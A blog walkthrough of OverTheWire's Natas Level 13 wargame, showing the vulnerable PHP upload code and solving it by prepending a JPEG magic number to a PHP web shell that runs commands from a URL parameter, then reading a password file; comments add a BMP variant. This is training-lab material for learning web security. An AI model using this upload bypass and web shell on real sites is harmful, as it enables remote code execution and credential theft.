Level 13
Using the credentials obtained in the previous post, we can log in to Level 13, where we are presented with the following:
It appears as though this new challenge only accepts image files. Let's start the same way as last time and look at the source:
<html> <head><link rel="stylesheet" type="text/css" href="http://www.overthewire.org/wargames/natas/level.css"></head> <body> <h1>natas13</h1> <div id="content"> For security reasons, we now only accept image files!<br/><br/> <? function genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = ""; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; }
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image";
} else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } } else { ?> <form enctype="multipart/form-data" action="index.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> Choose a JPEG to upload (max 1KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
To make things easier, I have highlighted the changes since the previous challenge. Using this knowledge, we can assume that we want to find a way to again upload a PHP file which will give us system command execution. With that in mind, let's think about how to tackle this challenge.
A good rule of thumb to remember when dealing with Wargames or CTFs is that if a challenge is different than its previous counterpart by one or two lines, those are the lines that matter. Knowing this, there must be some way to bypass the new exif_imagetype function. Let's start by going straight to the documentation.
The documentation for this function says that it will return a constant (which we can see is > 0) if and only if the first bytes of an image are successfully checked against a signature. What does this mean? Well, most filetypes such as JPEG, ZIP, TAR, etc. have a "Magic Number" at the beginning of the file to help verify its file type. So to pass the exif_imagetype function check, our file must start with the magic number of a supported image format.
But wait, won't that make the file unusable? The answer is no, because if we are still able to pass our file with a .php extension then the file will be parsed as PHP, and the only code that will be executed will be that within the opening (<?) and closing (?>) PHP tags. We can start our file with anything we want.
Now we simply research a supported file format of our choice and find the magic number. I chose JPEG and found the magic number here. I then used the following short Python script to create my file.
>>> fh = open('shell.php','w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()
With my file created, I can use the same steps outlined in the previous post to upload my file. Let's see what happens:
Awesome. As expected, our file was uploaded successfully, and by browsing to the URL [filename].php?cmd=cat /etc/natas_webpass/natas14, we receive the following:
A big thank you goes out to Reddit user fryboy for catching why the first four characters are included in the output. I completely overlooked the fact that anything outside of the PHP code tags is simply echoed back to the server. Therefore, these first 4 bytes are our magic number. With this being the case, our key is everything starting with the lower-case 's'. We can use this to log in to the next challenge.
Almost there! More writeups to come.
-Jordan
Worth mentioning that in IE, you aren't shown the output but instead, a broken image placeholder. With FireFox, this works.
ReplyDeleteAnother solution:
ReplyDeleteJust append BMP at the beginning of the shell
BMP
By putting PRE-tags around the cmd-command, you get a nicer output + seperation between output and those prepending characters
ReplyDeleteOh, and Tamper Data is good enough to alter the extension + you can use it for the cookie forgery too
Delete